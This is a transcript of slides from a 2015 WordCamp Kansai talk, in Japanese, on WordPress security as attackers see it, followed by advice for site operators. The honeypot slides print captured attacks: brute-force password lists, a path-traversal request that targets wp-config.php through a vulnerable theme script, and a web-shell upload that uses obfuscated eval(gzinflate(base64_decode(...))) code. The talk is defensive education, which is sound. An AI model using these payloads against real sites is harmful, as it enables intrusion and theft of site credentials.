攻撃者からみたWordPressセキュリティ / WordCamp Kansai 2015

攻撃者からみたWordPressセキュリティ / WordCamp Kansai 2015

WordCamp Kansai 2015
2015/07/26

6e007aca86b0c0b0eabdebc33d81810d?s=128

yoshinori matsumoto

July 27, 2015
Tweet

Transcript

  1. 攻撃者からみた WordPressセキュリティ 松本 悦宜 @ym405nm 発表 2015/07/27 加筆修正 2015/07/28

  2. 自己紹介 • 松本 悦宜 (まつもと よしのり) • 神戸デジタル・ラボ セキュリティソリューション事業部 •

    セキュリティ診断 / コンサルティング • 講演: OWASP AppSec APAC 2014, Hack In The Box Amsterdam HAXPO 2014, HTML5とか勉強会 • 共著:WordPressプロフェッショナル養成読本(技術評論社) • 脆弱性報告: Welcart、MailPoet Plugin など @ym405nm
  3. 目次 • 現状 • 攻撃者について • 実際に攻撃されてみた • 傾向と対策 •

    まとめ
  4. WordPress セキュリティの現状

  5. WordPress = 狙われる? 熊本競輪でサイト改ざん - 原因はWPプラグイン「FancyBox」の脆弱性 http://www.security-next.com/056249l

  6. 現状 マルウェアが設置されているサイトのうち 19% が WordPressという調査も

  7. 脆弱性の数 昨年1年間に JVN に届けられている数は 17 件 http://jvndb.jvn.jp/

  8. 脆弱性の数 関連ソフトウェアも含めると 301 件 ※例外が含まれていたり、JVNに届けられていないものもあります 参考 Drupal : 81件

  9. 攻撃者について

  10. 誰がやってるのか? • ハクティビスト • 政治的主張など、自分たちの主張を通すためにサイトを改ざんする • 改ざんしたものを目立つようにアピールする • マルウェア配布者 •

    難読化したスクリプトなどを仕込み訪問者にマルウェア感染させる • 標的型攻撃者グループ • 使用するマルウェアのホスティングとして使用する • 攻撃者と通信をし、他社への攻撃に利用される
  11. ハクティビストによる攻撃事例 • よく見られる改ざんパターン HACKED BY A HACKER For Sale!! ①

    攻撃者の名前や主張が 表示される場合 ② 偽ブランドサイトに 書き換えられる場合
  12. (会場のみ)

  13. 標的型攻撃に利用される例 踏み台サイト (WordPress) 攻撃者 標的となる組織 ①マルウエア設置 ②標的型メール送信 ③誘導

  14. なぜ狙うのか?

  15. なぜWordPressを狙うのか • 圧倒的なユーザ数 • 行き届かないユーザ管理 • 100人以上の編集者を抱えるサイト • 編集者、管理者の面識がほとんどないサイト •

    サードパーティ製ソフトウェアの普及 • テーマやプラグイン • セキュリティレベルはそれぞれの開発者に依存する
  16. なぜWordPressを狙うのか • 古いバージョンは脆弱性がわかっている • 脆弱性情報から詳細が推測可能なものも • ソースコードから攻撃手法が推測可能 • 攻撃手法が公開されているものもある

  17. WordPress ≠あぶない! • シェアが多いという点で狙われがちではあるが… • 本体のセキュリティに対する意識が高い • セキュリティ対策が増えてきた 危ないというイメージよりも、 安全に運用しようという意識が大事

  18. どのように?

  19. どのように狙われているのか • 攻撃者は弱そうな WordPress を狙っている • どこを狙えばいいのか • URLから特徴がわかるのか •

    脆弱なソフトウェアを使用しているサイトを探す • 脆弱性情報を共有するメーリングリスト • 脆弱性売買サイト ※ただし WordPress 関連の脆弱性は 無料で配布されていることが多い データを集めてみた
  20. 実際に攻撃されてみた

  21. 攻撃を集めるには WordPress WordPress 攻撃者 なぜ攻撃されない? なぜ攻撃される?

  22. 攻撃を集めるには WordPress 攻撃者 攻撃されるコンテンツとは?

  23. どのように狙われているのか WP BOT ログ解析 コンテンツ投稿 攻撃/スキャン 収集 WP WP Demo

  24. 収集した結果

  25. 最近多く見られる攻撃パターン • アカウントクラッキング • wp-config.php 情報の窃取 • ファイルアップロード 簡単に事例をみてみましょう! WordPressに対する攻撃

    テーマ・プラグインに対する攻撃
  26. アカウントクラッキング 試行パスワード 回数 [server-name]123456 96 0 72 [server-name]123 49 [server-name][server-name]

    48 [server-name]000000 48 [server-name]111 48 [server-name]111111 48 [server-name]1234 48 [server-name]12345 48 [server-name]12345678 48 [server-name]123abc 48 [server-name]222 48 [server-name]222222 48 [server-name]333 48 [server-name]444 48 [server-name]555 48 [server-name]555555 48 [server-name]666 48 [server-name]666666 48 ※ 2014年3月~5月計測
  27. wp-config.php 情報の窃取 POST /wp-content/themes/dejavu/lib/scripts/dl-skin.php HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux amd64)

    AppleWebKit/534.36 (KHTML, like Gecko) Chrome/13.0.766.0 Safari/534.36 Host: server Accept-Encoding: gzip Referer: http://server Accept-Charset: utf-8,windows-1251;q=0.7,*;q=0.6 Accept-Language: en-us,en;q=0.8 Keep-Alive: 300 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.4 Content-Length: 60 Content-Type: application/x-www-form-urlencoded _mysite_download_skin=..%2F..%2F..%2F..%2F..%2Fwp-config.php wp-config.php の内容を読み取ろうとしている (会場のみ) (会場のみ)
  28. ファイルアップロード Content-Disposition: form-data; name="Filedata"; filename="ifire.php" Content-Type: text/plain <?php eval(gzinflate(base64_decode("DZZHDqwIEkTv0qv/xQIovEa9wHtXeDYtvPee009dIJX5FBk RxZn0f6q3Gcs+2Ys/abIVOPpfXmRTXvz5R4hjYd08eetcBFr0pQjoAYzFmIynUXP1twBDkLIVp

    9ku+c7Gx5lyEF*******sO0rvRimq14L4AP4oNUm42E/uiMCbyyu1txOSxZtXwSNTvMO1d 1JuzCHsVdjwr534ek0DFSSeQXkmNVMhLNMB1rr79KCJIAAIIgUYKX/u8/f//+/d//AQ=="))); ?> 既知のファイルアップロード機能に認証がない脆弱性を使用して PHPファイルをアップロードしようとしている アップロードされたファイルは 攻撃者の攻撃用ツールとして動作される
  29. ファイルアップロードって? 画像 攻撃用 WordPress テーマ 攻撃者によるアップロード方法 外部からアクセス可能 セキュリティ用語では「バックドア」と呼ばれ 攻撃者とサーバの裏口/勝手口のように使われる

  30. (会場のみ)

  31. 悪用事例 • ページを改ざんされる • データベースの情報を持っていかれる • 他のサーバ/サイトの攻撃の踏み台になる

  32. 運用者の対策

  33. 運用者の対策(鉄則編) • WordPress やテーマ・プラグインは最新版に保つ • アカウントの管理をしっかりする • パスワードは強度なものにする • テーマ

    / プラグインの選定をする • メンテナンス頻度 • 脆弱性情報への対応頻度 • 明らかに不要なものは無効→削除しておく
  34. 運用者の対策(応用編) • セキュリティ拡張機能(プラグイン)や、セキュ リティ製品の導入を検討する

  35. 運用者の対策 • あわせて対策したい • サーバの選定 • ログの確認(ログイン履歴、アクセスログ) • 脆弱性情報の収集

  36. まとめ

  37. まとめ • 今後もWordPressに対する攻撃は減らない • 攻撃者は既知のテーマ / プラグインの脆弱性を使用す ることが多い • アカウントの管理や、テーマ

    / プラグインの管理を しっかりとする 安全なWordPressライフを!
  38. おまけ

  39. Follow me! 会員サイトとして、 適宜詳細データをお知らせする予定です 画面イメージ(開発中のものです) 今日ご紹介したデータは専用サイトにて公開予定 • 現在β版として運用中です • 正式版は有料アカウントとしてサービスの提供予定です

    • 現在、レビュアーを募集中です。(主に開発者・セキュリティ関係者にお願いしています。レビュー期間中は無料でサービス をご使用いただけます) http://wp-portal.net
  40. ご清聴ありがとうございました Any Questions ? Mail : y-matsumoto@kdl.co.jp Twitter : ym405nm

    Facebook : facebook.com/ym405nm